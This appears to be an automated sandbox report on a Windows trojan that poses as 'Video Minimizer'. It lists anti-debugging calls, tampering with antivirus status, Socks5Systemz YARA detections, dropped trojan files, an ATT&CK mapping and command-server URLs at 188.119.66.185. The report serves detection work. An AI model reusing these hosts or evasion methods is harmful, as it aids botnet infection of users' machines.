Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe

Code function: 15_2_02D980F0 IsDebuggerPresent,

15_2_02D980F0

Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe

Code function: 15_2_02D9E6AE RtlEncodePointer,RtlEncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,IsDebuggerPresent,OutputDebugStringW,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,

15_2_02D9E6AE

Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp

Code function: 12_2_004502C0 GetVersion,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

12_2_004502C0

Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe

Code function: 15_2_02D85E4F RtlInitializeCriticalSection,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetTickCount,GetVersionExA,_memset,_malloc,_malloc,_malloc,_malloc,_malloc,_malloc,_malloc,_malloc,GetProcessHeap,GetProcessHeap,RtlAllocateHeap,RtlAllocateHeap,GetProcessHeap,RtlAllocateHeap,GetProcessHeap,RtlAllocateHeap,_memset,_memset,_memset,RtlEnterCriticalSection,RtlLeaveCriticalSection,_malloc,_malloc,_malloc,_malloc,QueryPerformanceCounter,Sleep,_malloc,_malloc,_memset,_memset,Sleep,RtlEnterCriticalSection,RtlLeaveCriticalSection,

15_2_02D85E4F

Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe

Code function: 15_2_02D980DA SetUnhandledExceptionFilter,UnhandledExceptionFilter,

15_2_02D980DA

Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp

Code function: 12_2_00478024 ShellExecuteEx,GetLastError,MsgWaitForMultipleObjects,GetExitCodeProcess,CloseHandle,

12_2_00478024

Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 6784 -ip 6784			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6784 -s 584			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp

Code function: 12_2_0042E09C AllocateAndInitializeSid,GetVersion,GetModuleHandleA,GetProcAddress,CheckTokenMembership,GetCurrentThread,OpenThreadToken,GetLastError,GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,GetTokenInformation,EqualSid,CloseHandle,FreeSid,

12_2_0042E09C

Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe

Code function: 15_2_02D8E850 cpuid

15_2_02D8E850

Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe	Code function: GetLocaleInfoA,	11_2_0040520C
Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe	Code function: GetLocaleInfoA,	11_2_00405258
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: GetLocaleInfoA,	12_2_00408568
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: GetLocaleInfoA,	12_2_004085B4

Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe	Queries volume information: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp

Code function: 12_2_00458418 GetTickCount,QueryPerformanceCounter,GetSystemTimeAsFileTime,GetCurrentProcessId,CreateNamedPipeA,GetLastError,CreateFileA,SetNamedPipeHandleState,CreateProcessA,CloseHandle,CloseHandle,

12_2_00458418

Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe

Code function: 11_2_004026C4 GetSystemTime,

11_2_004026C4

Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp

Code function: 12_2_0045559C GetUserNameA,

12_2_0045559C

Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe

Code function: 11_2_00405CF4 GetVersionExA,

11_2_00405CF4

Lowering of HIPS / PFW / Operating System Security Settings

Changes security center settings (notifications, updates, antivirus, firewall)

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Provider\Av\{D68DDC3A-831F-4fae-9E44-DA132C1ACF46} STATE

Jump to behavior

Source: Amcache.hve.19.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.19.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.19.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: svchost.exe, 00000004.00000002.2536197928.000001A9C5F02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Files%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.19.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: svchost.exe, 00000004.00000002.2536197928.000001A9C5F02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.19.dr	Binary or memory string: MsMpEng.exe

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information

Yara detected Socks5Systemz

Source: Yara match	File source: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2537335881.0000000002CD9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: videominimizer2.exe PID: 7852, type: MEMORYSTR

Remote Access Functionality

Yara detected Socks5Systemz

Source: Yara match	File source: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2537335881.0000000002CD9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: videominimizer2.exe PID: 7852, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_609660FA sqlite3_finalize,sqlite3_free,sqlite3_value_numeric_type,sqlite3_value_numeric_type,sqlite3_value_text,sqlite3_value_int,memcmp,sqlite3_free,sqlite3_free,sqlite3_free,sqlite3_strnicmp,sqlite3_mprintf,sqlite3_mprintf,sqlite3_malloc,sqlite3_free,sqlite3_mprintf,sqlite3_prepare_v2,sqlite3_free,sqlite3_bind_value,	15_2_609660FA
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6090C1D6 sqlite3_clear_bindings,sqlite3_mutex_enter,sqlite3_mutex_leave,	15_2_6090C1D6
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_60963143 sqlite3_stricmp,sqlite3_bind_int64,sqlite3_mutex_leave,	15_2_60963143
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6096A2BD sqlite3_bind_int64,sqlite3_step,sqlite3_column_int,sqlite3_reset,	15_2_6096A2BD
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6096923E sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_malloc,sqlite3_malloc,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_realloc,sqlite3_realloc,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_free,sqlite3_free,sqlite3_free,	15_2_6096923E
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6096A38C sqlite3_bind_int,sqlite3_column_int,sqlite3_step,sqlite3_reset,	15_2_6096A38C
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6096748C sqlite3_malloc,sqlite3_bind_int,sqlite3_step,sqlite3_column_blob,sqlite3_column_bytes,sqlite3_reset,sqlite3_bind_int,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_malloc,sqlite3_bind_int64,sqlite3_column_bytes,sqlite3_column_blob,sqlite3_column_int64,sqlite3_column_int64,sqlite3_column_int64,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_step,sqlite3_column_int,sqlite3_reset,sqlite3_bind_int64,sqlite3_bind_int,sqlite3_step,sqlite3_column_int64,sqlite3_column_int64,sqlite3_column_int64,sqlite3_column_bytes,sqlite3_column_blob,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_reset,memcmp,sqlite3_free,sqlite3_free,sqlite3_free,sqlite3_free,sqlite3_reset,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_column_int,sqlite3_reset,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_bind_int64,sqlite3_realloc,sqlite3_column_int,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_bind_int,sqlite3_bind_int,sqlite3_step,sqlite3_reset,sqlite3_free,sqlite3_free,sqlite3_free,sqlite3_free,sqlite3_free,sqlite3_free,sqlite3_free,sqlite3_bind_int,sqlite3_bind_blob,sqlite3_step,sqlite3_reset,sqlite3_free,sqlite3_free,	15_2_6096748C
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_609254B1 sqlite3_bind_zeroblob,sqlite3_mutex_leave,	15_2_609254B1
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6094B407 sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	15_2_6094B407
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6090F435 sqlite3_bind_parameter_index,	15_2_6090F435
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_609255D4 sqlite3_mutex_leave,sqlite3_bind_text16,	15_2_609255D4
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_609255FF sqlite3_bind_text,	15_2_609255FF
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6096A5EE sqlite3_value_text,sqlite3_value_bytes,sqlite3_strnicmp,sqlite3_strnicmp,sqlite3_mprintf,sqlite3_prepare_v2,sqlite3_free,sqlite3_malloc,sqlite3_column_int,sqlite3_column_int64,sqlite3_column_text,sqlite3_column_bytes,sqlite3_finalize,sqlite3_step,sqlite3_free,sqlite3_finalize,sqlite3_strnicmp,sqlite3_bind_int,sqlite3_column_int,sqlite3_step,sqlite3_reset,sqlite3_mprintf,sqlite3_prepare_v2,sqlite3_free,sqlite3_column_int64,sqlite3_column_int,sqlite3_column_text,sqlite3_column_bytes,sqlite3_step,sqlite3_finalize,sqlite3_strnicmp,sqlite3_strnicmp,sqlite3_bind_int,sqlite3_bind_int,sqlite3_step,sqlite3_reset,sqlite3_value_int,sqlite3_malloc,sqlite3_bind_null,sqlite3_step,sqlite3_reset,sqlite3_value_int,sqlite3_value_text,sqlite3_value_bytes,sqlite3_free,	15_2_6096A5EE
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6094B54C sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,memmove,	15_2_6094B54C
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_60925686 sqlite3_bind_int64,sqlite3_mutex_leave,	15_2_60925686
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6094A6C5 sqlite3_bind_int64,sqlite3_step,sqlite3_column_blob,sqlite3_column_bytes,sqlite3_malloc,sqlite3_reset,sqlite3_free,	15_2_6094A6C5
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_609256E5 sqlite3_bind_int,sqlite3_bind_int64,	15_2_609256E5
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6094B6ED sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,	15_2_6094B6ED
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6092562A sqlite3_bind_blob,	15_2_6092562A
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_60925655 sqlite3_bind_null,sqlite3_mutex_leave,	15_2_60925655
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6094C64A sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_free,	15_2_6094C64A
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_609687A7 sqlite3_bind_int64,sqlite3_bind_int,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_bind_int,sqlite3_step,sqlite3_column_blob,sqlite3_column_bytes,sqlite3_column_int64,sqlite3_reset,sqlite3_free,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_bind_blob,sqlite3_bind_int64,sqlite3_bind_int,sqlite3_step,sqlite3_reset,sqlite3_free,sqlite3_free,	15_2_609687A7
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6095F7F7 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	15_2_6095F7F7
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6092570B sqlite3_bind_double,sqlite3_mutex_leave,	15_2_6092570B
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6095F772 sqlite3_bind_int64,sqlite3_bind_blob,sqlite3_step,sqlite3_reset,	15_2_6095F772
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_60925778 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_blob,	15_2_60925778
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6090577D sqlite3_bind_parameter_name,	15_2_6090577D
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6094B764 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,	15_2_6094B764
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6090576B sqlite3_bind_parameter_count,	15_2_6090576B
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6094A894 sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,	15_2_6094A894
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6095F883 sqlite3_bind_int64,sqlite3_bind_int,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_bind_blob,sqlite3_step,sqlite3_reset,	15_2_6095F883
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6094C8C2 sqlite3_value_int,sqlite3_value_int,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_bind_null,sqlite3_bind_null,sqlite3_step,sqlite3_reset,	15_2_6094C8C2
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6096281E sqlite3_mprintf,sqlite3_vtab_config,sqlite3_malloc,sqlite3_mprintf,sqlite3_mprintf,sqlite3_errmsg,sqlite3_mprintf,sqlite3_free,sqlite3_mprintf,sqlite3_exec,sqlite3_free,sqlite3_prepare_v2,sqlite3_bind_text,sqlite3_step,sqlite3_column_int64,sqlite3_finalize,sqlite3_mprintf,sqlite3_prepare_v2,sqlite3_free,sqlite3_errmsg,sqlite3_mprintf,sqlite3_mprintf,sqlite3_mprintf,sqlite3_free,sqlite3_mprintf,sqlite3_free,sqlite3_declare_vtab,sqlite3_errmsg,sqlite3_mprintf,sqlite3_free,	15_2_6096281E
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6096583A memcmp,sqlite3_realloc,qsort,sqlite3_malloc,sqlite3_free,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_column_int64,sqlite3_column_int64,sqlite3_column_int64,sqlite3_column_bytes,sqlite3_column_blob,sqlite3_step,sqlite3_reset,	15_2_6096583A
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6095F9AD sqlite3_bind_int,sqlite3_step,sqlite3_column_type,sqlite3_reset,	15_2_6095F9AD
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6094A92B sqlite3_bind_int64,sqlite3_bind_null,sqlite3_bind_blob,sqlite3_step,sqlite3_reset,	15_2_6094A92B
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6090EAE5 sqlite3_transfer_bindings,	15_2_6090EAE5
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6095FB98 sqlite3_value_int,sqlite3_bind_int,sqlite3_bind_value,sqlite3_step,sqlite3_reset,	15_2_6095FB98
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6095ECA6 sqlite3_mprintf,sqlite3_mprintf,sqlite3_mprintf,sqlite3_prepare_v2,sqlite3_free,sqlite3_bind_value,	15_2_6095ECA6
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6095FCCE sqlite3_malloc,sqlite3_free,sqlite3_bind_int64,sqlite3_bind_blob,sqlite3_step,sqlite3_reset,	15_2_6095FCCE
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6095FDAE sqlite3_malloc,sqlite3_bind_int,sqlite3_step,sqlite3_column_bytes,sqlite3_column_blob,sqlite3_reset,sqlite3_free,sqlite3_free,sqlite3_bind_int,sqlite3_bind_blob,sqlite3_step,sqlite3_reset,sqlite3_free,	15_2_6095FDAE
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_60966DF1 sqlite3_value_text,sqlite3_mprintf,sqlite3_free,strcmp,sqlite3_free,sqlite3_malloc,sqlite3_bind_int64,sqlite3_step,sqlite3_column_type,sqlite3_reset,sqlite3_column_blob,sqlite3_reset,sqlite3_malloc,sqlite3_free,sqlite3_reset,sqlite3_result_error_code,sqlite3_result_blob,	15_2_60966DF1
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_60969D75 sqlite3_bind_int,sqlite3_step,sqlite3_column_int,sqlite3_reset,	15_2_60969D75
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: 15_2_6095FFB2 sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_result_error_code,	15_2_6095FFB2

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	1 Input Capture	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	3 Native API	5 Windows Service	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Input Capture	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Access Token Manipulation	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Service Execution	1 Bootkit	5 Windows Service	22 Software Packing	NTDS	247 System Information Discovery	Distributed Component Object Model	Input Capture	1 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	12 Process Injection	1 Timestomp	LSA Secrets	991 Security Software Discovery	SSH	Keylogging	22 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Scheduled Task/Job	1 DLL Side-Loading	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	471 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	471 Virtualization/Sandbox Evasion	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Access Token Manipulation	/etc/passwd and /etc/shadow	3 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Bootkit	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	HEUR/AGEN.1320706
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\PAB1[1].file	100%	Avira	PUA/Agent.EI
C:\ProgramData\EarnPackage\EarnPackage.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\FD262DGWNd4Ftrw6rV5Cv\Y-Cleaner.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\soft[1]	100%	Joe Sandbox ML
C:\ProgramData\EarnPackage\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\soft[1]	75%	ReversingLabs	ByteCode-MSIL.Trojan.Malgent
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\PAB1[1].file	54%	ReversingLabs	Win32.Trojan.PLoader
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\dll[1]	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\FD262DGWNd4Ftrw6rV5Cv\Bunifu_UI_v1.5.3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\FD262DGWNd4Ftrw6rV5Cv\Y-Cleaner.exe	75%	ReversingLabs	ByteCode-MSIL.Trojan.Malgent
C:\Users\user\AppData\Local\Temp\is-C98MG.tmp\_isetup\_iscrypt.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-C98MG.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-C98MG.tmp\_isetup\_shfoldr.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Video Minimizer 2.33\LTDIS13n.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Video Minimizer 2.33\gdiplus.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Video Minimizer 2.33\is-2QCNJ.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Video Minimizer 2.33\is-2UQRT.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Video Minimizer 2.33\is-4LK4F.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Video Minimizer 2.33\is-HMRND.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Video Minimizer 2.33\is-N7369.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Video Minimizer 2.33\is-OQPMB.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Video Minimizer 2.33\is-P1KGP.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Video Minimizer 2.33\ltkrn13n.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Video Minimizer 2.33\msvcp71.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Video Minimizer 2.33\msvcr71.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Video Minimizer 2.33\sqlite3.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe	54%	ReversingLabs	Win32.Trojan.PLoader

Source	Detection	Scanner	Label
https://login.live.	100%	Avira URL Cloud	malware
https://login.l	0%	Avira URL Cloud	safe
https://188.119.66.185/ai/?key=8f3f2b3ab942463b774fe6a0231e72eee7c4db7e40b82a8dcd6c946851e300888c325	0%	Avira URL Cloud	safe
http://liba52.sourceforge.net/B6.4.0.1	0%	Avira URL Cloud	safe
https://188.119.66.185/ai/?key=8f3f2b3ab942463b774fe6a0231e72eee7c4db7e40b82a8dcd6c946851e300888c3250aa15d605633775b0e650f7ba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda332511d6358c	0%	Avira URL Cloud	safe
http://www.audiocoding.com/	0%	Avira URL Cloud	safe
https://188.119.66.185/u	0%	Avira URL Cloud	safe
https://188.119.66.185/priseCertificates	0%	Avira URL Cloud	safe
https://188.119.66.185/5	0%	Avira URL Cloud	safe
https://login.liveH	0%	Avira URL Cloud	safe
